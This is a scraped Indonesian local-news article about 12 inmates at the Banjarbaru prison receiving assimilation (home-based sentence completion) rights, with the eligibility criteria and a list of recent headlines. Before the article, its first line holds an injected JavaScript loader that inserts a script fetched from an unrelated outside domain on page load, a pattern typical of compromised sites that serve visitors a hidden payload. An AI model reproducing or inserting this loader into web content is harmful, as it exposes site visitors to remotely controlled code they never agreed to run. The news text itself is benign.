(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sudah 57 Narapidana di Lapas Banjarbaru Diberikan Hak Asimilasi


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 12 narapidana di Lapas Kelas IIB Banjarbaru mendapat hak asimilasi pada Maret. Asimilasi tersebut membuat mereka bisa menjalani masa sisa tahanan di lingkungan rumah, namun tetap dengan pengawasan negara.

Asimilasi sendiri diatur dalam Peraturan Menteri Hukum dan HAM RI No. 32 Tahun 2020. Kebijakan tersebut dicetuskan dalan menyingkapi kondisi pandemi Covid-19, dengan menekan potensi penularan Covid-19 di lingkungan lapas.

Kasi Binadik dan Giatja Lapas Banjarbaru, Septyawan Kuspriyo, mengatakan bahwa 12 narapidana yang mendapat hak asimilasi bulan ini telah melalui assesment dan verifikasi. Pihak Lapas klaimnya sudah mengusulkan ke Balai Pemasyarakatan (Bapas) terkait hal ini.

“Total ada lebih dari 100 WBP (warga binaan pemasyarakatan) yang kita usulkan, namun yang sesuai kriteria hanya 12 orang. Karena memang syarat asimilasi sekarang lebih ketat,” ujarnya.

Pemberian hak asimilasi ini merupakan tahap ketiga sejak memasukinya tahun 2021. Dimana totalnya kini sudah ada 57 narapidana yang menerima asimilasi.

“Sepanjang tahun 2021 sampai dengan yang terbaru ini, total sudah ada 57 narapidana yang mendapat hak asimilasi,” terangnya.

Namun demikian, pemberian hak asimilasi kepada narapidana juga melalui proses yang cukup ketat. Hal ini katanya demi mencegah polemik di kemudian hari ketika narapidana menjalani masa pembinaan di luar Lapas.

“Ada beberapa syarat baru, semisal mereka yang diusulkan bukan berstatus Residivis, lalu ada penjamin dari keluarga inti, itu dibuktikan dengan KK (kartu keluarga) serta mendapat Litmas (Penelitian Kemasyarakatan) yang dikeluarkan oleh Bapas,” jabarnya.

Selama menjalani masa asimilasi, para narapidana katanya harus wajib lapor kepada pihak Bapas yang berperan melakukan pengawasan dan pembinaan. Dalam hal ini Bapas Banjarmasin.

Kemudian, asimilasi ditegaskan juga tidak berlaku bagi narapidana yang vonis masa tahannya di atas 5 tahun.

Makanya dikatakan Septyawan, mereka yang dapat asimilasi rata-rata adalah yang masa tahanannya di bawah lima tahun.

“Kalau yang 12 orang ini kebanyakan kasus kriminal umum. Narkotika ada beberapa tapi bukan yang PP 99 atau di atas lima tahun. Asimilasi ini memang hak WBP asal sesuai persyaratan,” tuntasnya. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Al Ghifari

Recent Posts

Jaya Dekati PAN, Upaya Mengulang Koalisi di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More

7 jam ago

Lima Rumah Terbakar di Pekapuran Laut, Motor Matic Ikut Hangus

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More

9 jam ago

Naik Kano di Danau Seran Banjarbaru, Rekomendasi View Spot Foto Estetik

KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More

12 jam ago

Pasangan Calon Belum Pasti, Aditya: Titik Akhirnya SK Partai

KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More

14 jam ago

Masruri Lepas 25 JCH Kabupaten Banjar yang Tergabung dalam Kloter 10

KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More

15 jam ago

Tingkatkan Kinerja dan Pelayanan Publik, Pemkab Banjar Audiensi ke Kementerian PAN RB

KANALKALIMANTAN.COM, JAKARTA - Pemerintah Kabupaten Banjar melaksanakan audiensi dengan Asisten Deputi Koordinasi Pelaksanaan Kebijakan dan… Read More

15 jam ago

This website uses cookies.